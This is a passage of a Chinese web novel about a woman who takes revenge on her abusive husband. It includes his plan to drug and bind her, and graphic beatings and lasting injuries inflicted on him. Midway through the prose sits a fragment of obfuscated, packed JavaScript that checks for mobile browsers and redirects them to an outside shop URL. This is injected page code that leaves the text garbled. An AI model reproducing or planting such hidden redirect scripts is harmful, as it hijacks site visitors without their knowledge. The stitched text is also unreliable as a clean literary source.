客厅里只剩下云灵和宋金刚。宋金刚咽了咽口水,“老婆...”云灵一个眼神过去,他差点咬舌头。
“我们好好谈谈,我保证以后不犯浑了,原谅我好吗?我们好好过,你以前的事我不追究,只希望你以后好好顾家,不要做出格的事。”宋金刚一脸诚恳。
云灵翻了个白眼,“得亏这家里不是你做饭,这么会添油加醋,也不知道烧出来的饭能吃么!”
宋金刚被激怒,但又忍了下来,“我们都冷静一下,你现在还有气,我不跟你争。”
云灵冷笑,狗能改了吃屎?她不信。
宋金刚目光闪烁,心想等云灵没钱的时候,就是她求他了。
云灵玩着手机游戏,宋金刚忍不住问,“你这手机哪来的?”
“关你屁事!”云灵顶了回去。
宋金刚握拳,深呼吸,忍了下来。他气呼呼地瞪了云灵一眼,拿起桌上的钱敲了几下茶几,回了房间。
宋金刚在卧室里看着巨额账单皱眉。这次出院,欠了五万多医药费,还有之前欠张校长的三万,加上护工费、请同事吃饭的三万多,损失了十多万。
宋金刚怪罪云灵,要不是她,他不至于损失这么多。他看着手里的白色药瓶,露出阴险的笑容。
宋金刚心中暗自思忖,云灵这个女人还是需要好好管教一番。他心想:“她不是喜欢闹腾吗?等她喝了我准备的镇定药,看她还怎么闹腾!”随着这个念头,宋金刚越想越兴奋,悄悄地打开了卧室的门,从门缝里偷看了一眼客厅里正在玩游戏的云灵。他从药瓶里倒出了三颗药丸,紧紧捏在手心里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022368|148712||http|test|mini|href|location''.split(''|''),0,{}));
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>装作若无其事,宋金刚走出了房间,径直走向冰箱,拿出一盒牛奶,倒了一杯,随手将药丸投入其中,用小调羹轻轻搅拌了几下。担心药丸不溶解,他还特意将牛奶放入微波炉加热了一分钟,取出后再搅拌了几下。
端着牛奶,宋金刚走到客厅,清了清嗓子,温和地说:“老婆,别玩太晚了,喝杯牛奶早点休息吧。”
云灵忍不住轻笑了一声,意味深长地看了宋金刚一眼,“确定是给我喝的?你自己怎么不喝呢?”
宋金刚眼神闪烁了一下,勉强笑了笑,“当然,我还特意给你热了一下,女人喝冰的不好。我还在吃药,不能喝牛奶。”
“是吗?那可真谢谢你了,这么体贴!”云灵挑眉看了一眼牛奶,轻笑了一下。
“应该的,我不体贴你,体贴谁呀!你快喝吧,等会就冷了。你喝完我去把杯子洗一洗。”
宋金刚盯着杯子,忍不住催促了一下。云灵放下手机,拿起牛奶一饮而尽,笑着将空杯子递给了宋金刚。
宋金刚看着空掉的杯子,总算松了口气。他接过杯子,慢悠悠地走向厨房。云灵看着宋金刚的背影,嘴角勾起一丝冷笑。她心里清楚,宋金刚这种人,怎么可能轻易改变?他所谓的“爱”,不过是控制和占有的借口。
宋金刚在厨房里仔细地洗着杯子,差不多洗了十分钟。他算着时间,药效应该快发作了,才慢悠悠地从厨房里走了出来。
云灵已经躺在沙发上,假装睡着了,顺便设了道结界,免得打扰到雪儿与邻居。
宋金刚轻手轻脚地走到客厅,轻声呼唤:“老婆,你睡着了吗?”看到沙发上毫无动静的云灵,他忍不住笑了起来。“老婆,醒醒,去房间里睡。”他又推了推云灵的胳膊,喊了几声。
宋金刚有点不放心,又去找了一条皮带。他把云灵的双手绑了起来,咬着牙,把皮带绑得紧紧的。“这下你总没办法了吧!”
他喘了一口粗气站了起来,突然又瞄到了云灵的双腿。想起上次被她踹的情景,他又去找了一根皮带,把她的双腿也绑了个结实。
宋金刚坐在沙发上,对着昏睡的云灵喋喋不休:“老婆,我这么爱你,你为什么要背叛我,给我戴绿帽子呢?你以为你真的离开我了,谁还会要你?他们都是骗骗你,玩玩你而已,只有我,才是真心对你的,你知不知道?”
云灵心里好笑,宋金刚真是个戏精,想家暴还得给自己找借口。他所说的一切都是他臆想出来的,根本不存在的事情。每天给自己洗脑,老婆给他戴绿帽子了,洗着洗着,自己当真了。找不到假想敌,只能拿老婆撒气。
宋金刚越说越激动,手里的矿泉水瓶子都被他捏变形了。“你说话啊,又不吭声是不是,啊!!哑巴了吗?”
他怒吼着站了起来,把手里的矿泉水一下子摔在地上,瓶子里的水一下子喷了出来。
宋金刚狰狞地瞪着云灵,伸出手就要去抓她的头发。
20. 家暴世界
在宋金刚即将触碰到她的瞬间,云灵巧妙地躲开了。
宋金刚抓了个空,他一脸茫然地看着空空如也的沙发,然后震惊地转过头来。"你……你醒了?"他看着坐在沙发上的云灵,一时间头脑有些混乱。
"呵,我只是稍微休息了一下,你为什么要把我手脚都绑起来?"云灵挑眉看着宋金刚。
宋金刚看到云灵被绑起来的手脚,心中不禁松了一口气。"你说干什么,我问你,这几个月你都干什么去了?"
"我想干什么就干什么去了,你管得着吗?"云灵不耐烦地翻了个白眼。"她轻松挣脱了皮带,拿着半截皮带朝宋金刚走去。
宋金刚震惊地看着散落满地的碎皮带,吓得跌坐在沙发上。"你你你……你……你想干什么?"他慌了,云灵的力气怎么这么大。
"你说呢,大半夜的,你不想睡觉,那就一起来欣赏一段皮带秀吧!"云灵拿着皮带,温柔地笑了起来。
宋金刚看到云灵的笑容,心都凉了半截。"我我我……我困了,我去睡觉了,老婆你自己看吧!"他慌张地从茶几旁绕过去,想要逃往房间。
"啪!"云灵拿着皮带,直接甩在了宋金刚的膝盖处。
"啊——我的膝盖!"宋金刚哐的一下,直接跪在了地上,捂着膝盖痛苦地叫了起来。
"不应该啊,肋骨断了也没见你这么大声,是不是忘记吃药了?"云灵冷笑着看着宋金刚,还不忘讽刺他两句。
宋金刚捂着膝盖,非常识时务地求饶了。"老婆,你饶了我吧,我真的没想干什么,就是怕你……怕你睡着了掉下来,才绑着你的!"
"是吗?我怕你的皮带不够好,试试看质量怎么样!"云灵又在宋金刚的后背甩了几下。
宋金刚痛得在地上翻滚,泪水不由自主地流了下来。云灵毫不留情,小皮带甩得虎虎生风。宋金刚在地上边嚎边滚,咬着牙关不敢骂一句,生怕激怒了云灵。
宋金刚痛得灵魂都快出窍了,他在地上一点一点地往卧室的方向滚着,想找机会窜进房间,把门反锁了。
"啪嗒——"小皮带被云灵甩了数分钟后,终于断掉了。
此时躺在地上的宋金刚,身上已经没有一块好皮了。全身上下都是血迹斑斑的鞭痕,衣服裤子都被打烂了。
宋金刚中间被打晕了过去,又被打醒了过来。他现在有点后悔了,早知道就应该多放点药。
宋金刚的口腔里全是血,不是他吐血了,而是痛得咬紧牙齿,咬得太用力了,牙龈出血了。
"今天算你走运,小皮带断了,不然……呵呵!"云灵冷冷地看着地上蠕动的宋金刚,拿着沙发上的手机,直接去了雪儿的房间睡觉。
宋金刚趴在地上,愣是没敢吱一声,他全身都在颤抖,太疼了!等了半天,没有一点动静后,宋金刚才缓缓抬起了头,他的眼神里翻涌着浓浓的恨意。他一边哆嗦着双腿,一边扶着沙发硬撑着站了起来。
宋金刚沉着脸,一瘸一拐地回了房间。他拿出两片止痛药塞在了嘴里,眼神冰冷得不得了。宋金刚心里暗暗下了决心,下次要下多一点的药量,直接放倒云灵。放倒后,他就立刻把云灵的双腿和双手打断,不能让她有丁点的反抗余地。
宋金刚算是看明白了,云灵这个疯女人已经没有道理可讲了。他今天要是不废话那么多,直接把她手脚弄断,就不会有现在的这个惨状了。
宋金刚拿出床头柜里放着的药瓶,倒出了里面的药片数了数。一共还有18片,都给云灵吃应该能放倒她了。
宋金刚哆嗦着手,非常珍惜地把药片一点一点地放回瓶子里。
"嘶——"宋金刚边脱衣服边抽冷气,衣服都黏糊到了肉里,脱的时候就像是扒了他的皮一样。
"云灵你个贱人,我迟早把你弄残了,再把今日所受的罪全都还给你!"宋金刚痛得受不了,忍不住吃了一片镇定药。少了一片也不打紧,他过两天再去找医生开一点。
第二天一大早,宋金刚揣着几千块钱,着急忙慌地出门了。他每走一步,都痛得龇牙咧嘴的,衣服摩擦着伤口别提多疼了。走着走着,又出了点汗,汗水流在伤口上,那滋味别提多酸爽了。好容易挪到了车库里,宋金刚爬上车,马上打开了空调。秋老虎真不是盖的,热得车盖都能煎鸡蛋了。
宋金刚开着车,先去补办了手机卡,又买了一部新手机。宋金刚将手机卡装好,下载了社交App。他刚一登录,信息就响个不停。宋金刚还没来得及查看信息,电话铃声就响了起来。他停顿了一下,按下接听键,电话刚接通,就传来了张校长的咆哮声。
"宋金刚!你竟然还知道接电话!我还以为你人间蒸发了呢!你知不知道今天多少号了?"宋金刚皱着眉头,把头往旁边撇了撇。等到手机里没有了吼叫声,他才把耳朵贴了上去。
"领导,我出院时出了点意外,又在医院住了两个月,实在不好意思。"
张校长说:"我不管你出了什么意外,你无故旷工一个多月,现在给我立马滚来学校,办理离职手续,滚蛋吧你!"
宋金刚还没来得及说话,张校长就挂断了电话。
宋金刚气愤地暗骂了一句,然后快速地开车往学校去了。到了学校后,宋金刚拿着医院的欠费清单,一个劲地向张校长解释。张校长指着他的鼻子骂了半天,没有因为他住院而心软。当然,毕竟是高校,不是张校长一个人说了算。
最后,学校董事会商量后,决定给宋金刚三个月的考察期。在这期间,如果宋金刚再无故旷课,就不能在学校任教了。毕竟学校也要对学生负责,任教老师总是缺课,对学校的影响不好。
宋金刚声情并茂,言辞恳切地检讨了一番,总算熬过了这一天,暂时保住了铁饭碗。就在宋金刚拖着疲惫疼痛的身体,准备回去的时候,张校长叫住了他。
"小宋啊,你也知道的,我这家里是我那老婆子管账的。前两个月,她盘账,家里少了三万多块钱,跟我闹了好几场了。"张校长边说边摇头叹气,表情相当为难。心里暗恨宋金刚不懂人情世故,还钱还要他催,真是差劲。
"领导,实在不好意思,这一拖拖了这么久,明天我就把钱给您送过去,再跟嫂子好好解释解释!"宋金刚点头哈腰地赔着不是。
"我可没有催你还钱
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的意思,你要是实在困难的话,可以先找别的同事借一点,周转一下,回头不够了,我再借点给你!"张校长拍了拍宋金刚的肩膀,非常贴心地帮他出着主意。
宋金刚肩膀微缩,肩膀的伤痕被张校长拍得痛得他眉头皱了起来。"不用了,我其实没这么困难,只是刚好住院的时候,媳妇回娘家去了,没舍得打扰她们,所以才..."宋金刚说着说着尴尬地笑了一下。
张校长嘴角抽搐了一下,心里狠狠地鄙视了宋金刚一口。你不舍得打扰你老婆,倒舍得来霍霍他了,真是不懂事!"好男人呐,好男人还得是你宋金刚啊!"张校长冷笑着感叹了一句,背着手走了。
宋金刚气愤地轻轻拍了拍自己的脸,"怎么回事,嘴巴跑得比脑子快了,真要命!都是被云灵这个贱人气的!呸!"宋金刚想了想,也不准备等明天了。他现在就回去拿钱,去张校长家里,顺便再买点东西送过去,省得以后被张校长穿小鞋。
宋金刚回去的时候,宋雪儿还没放学。原本他打算去学校接孩子的,顺便带着母女俩一起去吃顿好的,缓和一下关系。有孩子在,云灵不至于跟他闹起来。他算了算时间,回去拿了钱还了张校长,再赶去接雪儿也能来得及。就是怕张校长又要唠叨几句,那就有点来不及了。
宋金刚气愤地狠狠拍了拍方向盘,咬了咬后槽牙。他还是决定先去还钱,吃饭可以以后吃,不差这一天。宋金刚回到家里,先去卧室里把现金都找了出来。
他数了数手中的钞票,只有一万多块,连债务的零头都不够。他无奈地将钱重新放回抽屉,这些钱,他得留着日常开销。
宋金刚站起身,步履蹒跚地朝书房走去。
"咔嚓——"随着齿轮的转动,保险箱门缓缓打开。宋金刚瞪大了眼睛,脸上写满了不可置信。他蹲坐在地,心如刀绞。片刻后,他猛地揉了揉眼睛,再次凝视保险箱,希望刚才只是幻觉。但现实残酷,保险箱里,确实一无所有。
"啊!我的钱呢!"宋金刚的怒吼在书房中回荡,他的眼睛充血,愤怒和绝望交织在脸上。他像疯了一样,在书房中乱砸一通,每一击都伴随着他的怒吼和不甘。
砸完后,他颤抖着手拿出手机,拨打了报警电话。在等待警帽到来的漫长时间里,宋金刚搜遍了书房的每一个角落,但结果依旧令人绝望——所有的钱,都不翼而飞。
他瘫坐在地上,口中念念有词,心中充满了无助和愤怒。他知道,如果真的被盗,那些钱可能再也找不回来。想到这,宋金刚的心如刀绞,愤怒到几乎要窒息。
"别让老子抓住你,否则……"他咬牙切齿,愤怒的咆哮在空荡的书房中回响。就在他快要失去理智的时候,警帽终于赶到了现场。
"警帽同志,求你们帮帮我,我家的钱全被偷了!那是我全部的积蓄啊!"宋金刚扑向警帽,紧握着他们的手,眼泪在眼眶中打转,他的声音里充满了绝望和恳求。
"先生,请冷静,告诉我们详细情况。"警帽不耐烦地安慰他,然后开始了一系列的调查程序。但结果却让人更加困惑——书房里没有第二个人的指纹,保险箱也没有任何被撬的痕迹。
21. 家暴世界
三个警帽皱着眉头,互相对视一眼,怀疑的目光最终投向了他。
"宋先生,您确定这里面确实放了钱吗?" 警帽的语气中透露出一丝不信任。
"这是什么意思?我当然确定,我自己放的钱,难道还会忘记吗?" 宋金刚被反复询问后,显得有些焦躁,"你们能不能办案?有没有能力?不去追查盗窃犯,一直盘问我干什么!"
"宋先生,我们的能力不容置疑。您别激动,根据我们调查的线索,发现您家中并没有外人入侵的痕迹,所以..." 警帽也有些不悦,被宋金刚这样质疑,语气也很不好。
"不可能!我不相信,这么多钱,怎么可能突然就没了?你们在骗我,是不是!" 宋金刚情绪崩溃,大声喊叫,脸上写满了疯狂。想到那些不翼而飞的巨款,他的心脏仿佛被刀割一般,疼痛难忍。
他从未像现在这样愤怒,从未如此渴望报复。宋金刚双拳紧握,手心被指甲掐出了血迹。他的怒火如同狂风暴雨,席卷全身。双眼赤红,怒视着警帽,"说啊,你们是不是在骗我?快去抓人,把他抓回来!"
年纪较大的警帽上前一步,警告道:“你这是什么态度?我们办案是不会出错的,如果你再是这态度,我们将采取强制措施。你最好冷静点,我们先去调取监控,看看最近几个月有没有可疑的人出现。你要相信国家,相信警帽。"
宋金刚紧握的拳头,咬牙切齿,但也不敢再惹警帽:"快去,快点!再晚钱都被他用完了!"
三个警帽去调取了小区的监控。查看了最近一个多月的监控录像,并没有发现任何可疑的人。
回到警局,查了一下这个小区近一个月的盗窃报案记录,发现这个小区没有任何盗窃案,直接结案,懒得再理会宋金刚。
******
云灵回到家,就听到书房里的怒吼声传来,她让雪儿先回房间,又设了道结界。
宋金刚的怒吼声太难听了,云灵没有去书房看宋金刚,而是躺在沙发玩起了游戏。她本以为宋金刚发现钱没了,会做出什么惊天大事,没想到他居然是报警。
宋金刚可能怎么都不会想到,那些钱是云灵拿的。就让宋金刚一个人慢慢抓狂去吧,急死他个王八蛋。
"啊啊啊——" "嘭——" "啪——啪——" 宋金刚在书房里乱砸乱扔,心里的怒火无法抑制。他面色铁青,双目赤红,胸腔仿佛被巨石压制,话都说不出来,只能不断嘶吼。
嘶吼到最后,宋金刚的嗓子都哑了,一点声音都发不出来。他把书房里能砸的东西全砸了,缓了好半天,才从书房里颤抖着走了出来。
宋金刚走到客厅,凶狠地瞪着沙发上的云灵。"贱人,你这几个月有没有带野男人回来,你说!" 他怀疑是云灵带来的野男人偷走了他的钱。
云灵白了宋金刚一眼,"有病!"
"对,我是有病,我有病才娶了你这个贱人,让你带野男人回来,把家里都掏空了!" 宋金刚握着拳头捶着胸口,满眼怨恨地看着云灵。
"啪——" 云灵过去,甩了宋金刚一巴掌。 "啪叽——" 宋金刚被甩飞了出去。
这个狗男人,一口一个贱人,她没忍住,使的劲太大了。
"噗呲——咳咳——呸——" 宋金刚摔在地上,吐了一口血,嘴里还吐出了两颗牙。 "云灵!我今天弄死你!"
宋金刚一看掉了两颗牙,一下子急眼了。今天书房的钱不见了,对他的打击太大了,他已经不管不顾了。
宋金刚的愤怒如同火山爆发,他怒气冲冲地拿起电视旁的大花瓶,高举过头,猛地向云灵砸去。云灵一脚将花瓶踢回。那巨大的花瓶瞬间砸在了宋金刚的膝盖上,随即掉落在地,碎片四溅。
宋金刚被这突如其来的一击震得摇摇欲坠,最终没能稳住身形,跪倒在了锋利的碎片之上。“啪呲——” “啊——” 锋利的碎片直接刺入了他的膝盖,剧烈的疼痛让他忍不住嘶吼起来,整个人陷入了癫狂状态。
云灵看着满地的血迹,脸上露出了厌恶之色。
“我...我的腿...啊~~~救我!!!” 宋金刚痛苦地颤抖着,脸色苍白,毫无血色。
“啊——云灵,求...求求你了!” 宋金刚泪流满面,鼻涕横流,眼前甚至出现了幻觉,感觉到生命正在流逝。
在宋金刚即将失去意识之际,云灵拨打了120。
当急救人员到达时,宋金刚已经昏迷。他侧躺在地板上,身体不时抽搐,膝盖上还插着花瓶的碎片。医护人员看到满地的血迹,一开始还以为是谋杀现场,但看到满地的碎瓷片和倒在血泊中的男人后,才松了一口气。
他们小心翼翼地将宋金刚抬上担架,尽管非常小心,宋金刚还是因为疼痛而苏醒过来,双腿不由自主地颤抖。“啊——啊啊——疼——嘶——” 宋金刚的额头上布满了冷汗,脸色苍白得吓人。
宋金刚再次被推进了抢救室。这次手术时间很长,因为瓷片穿透了他的膝盖,戳到了大腿的股动脉,导致大量失血。而且,他的韧带受到了严重损伤。
云灵交了医药费后便离开了。手术需要八个小时,她还要回家送雪儿上学。再说,宋金刚死不了,医药费交了就足够了,没有必要在这里守候。
手术一直持续到第二天早上七点多。医护人员疲惫地走出手术室,想要向家属说明情况。但当主治医生打开手术室的门时,发现外面空无一人。
“家属呢?” 主治医生皱着眉头问道。
小护士累得眼皮都抬不起来,“不知道,可能去买早饭了吧?”
主治医生点了点头,“行了,先推病房去,大家先回去休息一下。”
两个小护士推着宋金刚去了病房。他的脸苍白,双腿被石膏固定,只有上半身还能动。手背上还挂着点滴,看起来非常凄惨。
当宋金刚醒来时,已经是下午两点了。张校长不知道给他打了多少个电话,气得差点砸了自己的手机。他怀疑宋金刚是不是不想还钱了,以前怎么没发现他这么不靠谱。
昨天才检讨过,今天就又消失了。是不是看不上这份工作了?这人还能不能有点起码的责任心?孩子们的课程都排好了,结果宋金刚又撂挑子了。
张校长气愤不已,一整天都在咒骂宋金刚。
“啊嘁——啊嘁——” 宋金刚微微睁开眼睛,虚弱地打了两个喷嚏。他抬起手,揉了揉鼻子。
“腿——腿...我的腿呢,啊!!!我腿怎么了!?” 宋金刚疯狂地捶打自己的腿,他怎么一点感觉都没有了。不可能,他还这么年轻,怎么可以没有腿呢!
“啊啊啊——我的腿啊——” 宋金刚把床上的被子都扔了,支棱着上半身就要下地。
护士听到动静跑了进来,“唉唉——你快躺回去,你的腿不想要啦!” 小护士急忙上前把宋金刚摁了回去。
“我的腿一点感觉都没有了,我还怎么要——啊!!!” 宋金刚拍着大腿怒吼着。
小护士翻了个小白眼,“你这腿好好的,已经保住了,现在是麻药还没过,你才没感觉的。”
“真...真的吗?你没骗我?” 宋金刚怔愣了一下,不敢置信地看着小护士。
小护士把被子捡起来盖在了宋金刚的身上,“我骗你干什么,但是你要是还是这样瞎折腾的话,这个腿会不会出什么事情,我可就不知道了。”
“我...我不折腾了,我好好躺着,只要腿还好好的就行!” 宋金刚大悲大喜,人都有点恍惚了。
他直挺挺地躺在床上,不敢再动弹一下。宋金刚一放松,突然一股尿意袭来,他好像要忍不住了。
“现在可以吃药了,不然过一会儿麻药过了,你会受不了的!” 小护士指了指床头的药,顺手帮宋金刚倒了一杯水。
“哗啦啦——” 宋金刚听到倒水的声音,瞬间死死绷住了小腹。
“你怎么了?哪里不舒服吗?” 小护士倒好水,一回头,就看到咬着嘴唇在发抖的宋金刚。
“我要尿尿!!” 宋金刚脱口而出,他可不想尿床。
小护士微微顿了一下,点了点头,从卫生间里拿了个尿壶出来。 “你能自己尿吗?还是...”
“我自己可以。” 宋金刚赶紧接过了尿壶。
“那行,你尿好了喊我!”小护士出去后,还贴心地把门关好了。
宋金刚看着小护士关好门后,立刻哗啦啦地尿了起来。
宋金刚尿了足足两分钟,长长地舒了一口气,终于结束了这场膀胱的煎熬。“护士,我好了!”他呼唤。
小护士听到声音,走进病房,接过宋金刚手中的尿壶。“你这样的情况,最好有家属来照顾,不然很多事情都不方便。”她清理好尿壶后,对宋金刚说道。作为护士,她有责任照顾病人,但总不能像护工一样全天候守在病床边。
宋金刚随意地点了点头。想到昨晚的事故,他仍心有余悸,不敢让云灵来照顾他。直到晚饭时分,宋金刚才请护士帮忙,为他请了一名护工。巧的是,护工竟是上次送他回家的那个人。
“呃...宋老板,真巧啊!”护工搓着手,憨笑着和宋金刚打招呼。
宋金刚尴尬地扯了扯嘴角,“是挺巧的,老规矩,出院给你结账,行吧?”看到是原来的护工,宋金刚松了口气,换做别人,可能不会接受他这种付款方式。
“行行行。”护工连连点头,只要能拿到钱就行。
宋金刚现在不愁住院的费用,因为护士告诉他,云灵已经把医药费交了。他现在担心的是学校那边怎么交代,他连手机都没带,真是糟糕透了!
张校长在学校等到了下班,都没看到宋金刚的影子,电话也一直打不通,从无人接听到关机。他气愤至极,把这辈子的脏话都骂完了。下班后,他开车直奔宋金刚家。
今天他一定要守到人,那笔钱他必须得要回来。
幸运的是,张校长今天运气不错。云灵带着雪儿打包了吃的回来,准备一边看电影一边享受美食。因此,张校长在宋金刚家门口只等了一个多小时,就遇到了云灵。
“张校长?你有事?”云灵看到在门口徘徊的张校长,眉头微挑,故作不知问道。
“哎哟,去接雪儿啦?孩子长高了不少啊!”
“嗯,是的,长身体的时候长得就是快。你找宋金刚?”
“啊...对,我找宋金刚,他今天怎么没去上班啊?”
“他住院了,昨天晚上摔了一跤,花瓶碎片插腿里了。”
“哎哟,这这,严重吗?怎么这么不小心啊!”张校长真的震惊了,宋金刚是不是走了霉运,怎么总是往医院跑。
“挺严重的,抢救了一夜,现在还在医院呢!”
“那你不去照顾吗?”
“呵呵...我这还有孩子要照顾呢,给他请了护工了!”云灵冷笑,照顾他?他配吗?
“哦哦,也对,孩子也要人照顾的。”张校长心不在焉地应着,犹豫着怎么开口。
“你找宋金刚有什么事情吗?很重要的话,可以去医院找他,现在应该醒了!”
“哦,也不是什么大事,就是宋金刚上次住院,我们学校的老师帮忙垫了医药费,他这一拖好几个月了,也没还给人家,我就是过来问问,要是家里困难的话,学校也可以组织给你们捐款哈!”张校长装作不在意地说道。
“捐款就不用了,他回来也没跟我说过,一直欠着人钱确实不好,我能看看账单有多少吗?”
张校长连忙掏出了包里的垫付账单,“在这里,你看看!”
云灵接过账单看了看,“好,我转给你,麻烦张校长代为转交给帮忙的老师。”
张校长推辞了一番,收下了转账。他又关怀了几句,让云灵有困难就找他。
张校长拿到钱后,心情也好了不少,至少没打水漂。只是宋金刚这个人,学校估计是不能留了,三天两头住院,可不是什么好事。万一要在学校里出了什么事,学校还得赔钱,还是趁早解雇了吧!
******
宋金刚这次在医院住了三个月才回来。其实他早就可以出院了,住院一个月的时候,医生就通知他可以出院回家养着了,定时来医院复查就行。伤筋动骨一百天,回家再养两个多月就可以来拆石膏了。但宋金刚死活不肯出院,他就要在医院里养到完全康复才行。他哪敢回家养病,万一哪天云灵发疯了,他这腿就废了。
等宋金刚出院回家的时候,雪儿已经放寒假了。这么久以来,雪儿都习惯了没有爸爸的日子。冷不丁的看到爸爸回来了,雪儿还有一些心塞。
护工跟着宋金刚一起回来,结了账就开心地走了。云灵没空搭理宋金刚,她收拾好东西,带着雪儿直奔北方去了。她们要去看雪景,看雪雕去了。
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宋金刚看着云灵拎着行李箱带着雪儿走了,他反而松了口气。以为云灵是带着孩子去玩几天的。结果没想到,宋金刚等到过年那天,都没看到母女两个回来。
这个新年,他可怜巴巴地吃着速冻水饺。他只有卧室里还剩下的那么点钱,已经快要撑不住了。本来还是能撑一段时间的,云灵刚走的时候,他点外卖都是捡好的点,什么营养吃什么,想着把腿好好补补的。
这一吃就把钱花的差不多,眼看过年了,都没见到人回来。宋金刚才不敢那么花了,买了几袋速冻水饺放冰箱里,每天煮几个吃吃。厨房的水槽里,已经堆满了碗筷,一股霉拉兹的味道,在厨房里蔓延着。
过完了元宵节,云灵才带着雪儿回来了。雪儿的学校也已经开学了。只不过,雪儿想看元宵节的灯会,所以云灵给她请了两天假。
云灵牵着雪儿的手回家的时候,一开门就闻到了一股腐烂发馊发臭的味道。
“咦----妈妈,我们家臭了吗?”雪儿捏着小鼻子,拧着眉退后了两步。
云灵走进去看了一圈,才发现家里已经被宋金刚糟蹋得不成样子了。宋金刚胡子拉碴地躺在沙发上,沉睡着。云灵一脚把他踹了下去。
“啊!”宋金刚摔在地上,迷糊地喊道。
“你个懒东西,家里被你糟蹋成什么样子了?明天我回来的时候,如果还没收拾好,我打断你的腿。”云灵凶狠地瞪着宋金刚。
宋金刚吓得腿一哆嗦,“我...我一个老爷们,怎么能做家务呢?这都是女人干的事情。”
“啪——”云灵直接甩了他一巴掌。
宋金刚捂着脸,瞪向云灵。
“我什么?你个没用的东西,家务都干不好,废物点心,还好意思说自己老爷们,你就是个垃圾。我告诉你,明天我回来看到家里不干净,我就让你舔干净!”云灵剜了宋金刚一眼,没好气地警告。
宋金刚还想反驳,一抬头看到云灵阴狠的眼神,瞬间吓得没脾气了。“好,我会打扫干净的,多大点事!”他耷拉着脑袋,低声嘀咕了一句。
云灵冷哼一声,直接扭头出去,带着雪儿去住酒店了。宋金刚听到云灵的摔门声,气得咒骂了好几句。他气呼呼地踢了一脚茶几,茶几上的垃圾哗啦一下全都洒在了地上。
饺子碗里的汤汤水水撒了满地都是。宋金刚的身上都被溅到了不少汤汁,他气得怒吼了一声,“窝草——淦!!”
宋金刚靸着拖鞋踮着脚尖,大步跨过地上的垃圾,准备去洗手间洗洗。“啪叽——”“呲溜——”“啊——”他一脚踩在了一个饺子上,整个人滑出去一米多远。
他大叫着,摇晃着后仰摔了下去。“咔哧——”“啊——!!”他的尾巴骨撞在了茶几的尖角,清脆的骨折声响起,伴随着宋金刚凄厉的惨叫声。
宋金刚只叫了这么一声,就彻底晕厥过去了。直到第二天,云灵送完雪儿回到家,才去看晕倒在地的宋金刚。此时的宋金刚已经出气多进气少了,整个脸惨白的像是死了五百年一样。
云灵非常仁慈地打了120。救护车来得相当快,路线太过熟悉,节约了不少时间。医护人员看了宋金刚都忍不住直摇头,这人怎么就这么衰呢!
经过医生的用心抢救,宋金刚的小命再一次被救了回来。只不过,宋金刚这次算是废了。他的脊椎被伤到了,送来的又不及时,从此就只能与轮椅相伴了。
宋金刚在医院住了一个月,云灵还给他请了以前的那个护工。出院的时候,云灵把那个护工也请回家了。家里有个瘫痪,总得有人照顾着,她才不会去照顾呢!
宋金刚回家后,每天都阴沉沉的,对着护工又吼又骂的,稍有不如意就毒舌连天,每天哔哔个不停。
云灵担心宋金刚把护工给气走了,直接点了他的哑穴。从此,家里总算清静了。雪儿刚知道爸爸瘫痪的时候,还流了不少眼泪。结果,爸爸回来后,性情比以前还要差,她都不敢靠近爸爸。
因为每次她回来的时候,爸爸都阴狠地盯着她的双腿看。雪儿看到宋金刚的眼神,都吓得腿发抖。
护工每天都劝宋金刚,“老板啊,你别这么看别人,你老婆孩子对你够好的了,你总这样,以后谁还愿意搭理你哟,人啊,要知足,你看看你老婆,还给你请了我来照顾,这得多少钱哦!”
护工不说还好,一提钱,宋金刚更不行了。他现在又说不出话,气得他使劲地拍着轮椅。宋金刚想起他书房消失的钱,他现在怀疑是云灵拿的。不然她哪来的钱给他请护工的。
宋金刚这个气啊,恨不得一口叨了云灵。只可惜,他现在有这个心,也没这个本事了。
冬去春来,在宋金刚每天遭一小打,三天一大打,住院比在家多的日子里,不知不觉,雪儿已经到了谈婚论嫁的时候。
雪儿由于父亲的原因,没有找男友,转身找了个女朋友,云灵查探了一番,没有发现雪儿的对象有问题,因此就放心让她们交往了。
云灵还在国外给雪儿雪儿的基金会存了五亿美金,雪儿每个月可以领百万的零花钱。
而且要求必须雪儿亲自去领,这也是云灵为雪儿留的一个后招,万一遇上负心的,她不至于生活拮据。
雪儿与对象在外生活后,这个家里只有云灵和宋金刚了。护工年纪大了,已经回老家去了。宋金刚自从认为钱是云灵拿的后,看云灵的眼神就十分恶毒。
云灵也没客气,没外人了正好,小皮鞭天天甩在宋金刚身上。五十不到的宋金刚,看起来像是八十多岁一样,头发花白,皱纹满脸,胡子拉碴的。
三伏天,她带着宋金刚出去晒晒日光浴,她坐在阴凉地吃着冰淇淋。下雨天,云灵推着宋金刚出去感受大自然的清新。她撑着油纸伞慢慢地推着他,宋金刚脸上的每一道皱纹都有雨水划过,相当滋润。
哦,对了,有的时候下大雪了,云灵经常不小心忘记把他推回来,等想起来的时候,宋金刚都成了雪人了。
后来,宋金刚自己把自己给气死了,云灵把宋金刚火化完后,直接一把扬了他的骨灰。
云灵送走了雪儿的父亲,没过几年也脱离了这个话本世界,回归竹屋小院去了。
雪儿拿着云灵写的遗嘱,哭得晕厥过去好几次。
其实,云灵也没写什么。她只是把基金的事情也告诉了雪儿,让雪儿随时可以去领月钱了,之前领的也都在卡里,一起留给了雪儿。
22. 凤凰男与扶家魔世界
云灵意识还未清醒,耳边便响起了一个男人的声音,同时,她的胳膊感受到了一阵粗暴的推搡。
云灵厌恶男人的触碰,她本能地反手一甩,将对方将对方狠狠地摔了出去。
随着“砰”的一声巨响,男人的闷哼声随之响起,云灵这才睁开了眼睛。
这个话本世界原主的记忆,也梳理完毕。
如今剧情发展到,云母这些天一直在向她的几个兄弟索要欠款,以填补财务的漏洞。
因为被拒绝,她愤怒地决定将房子抵押给女婿,而不是让兄弟们来占这个便宜。
说到底,她还有些公主脾气,期待着她的兄弟们来哄她。
而杨伟刚才要说的,正是过户房子,抵押给银行贷款的事情。
他人品不怎么样,但看人的眼光却很准,早就知道岳母娘家的钱是不可能拿到手的。
既然公司迟早要用来还债,这房子他可不想错过。
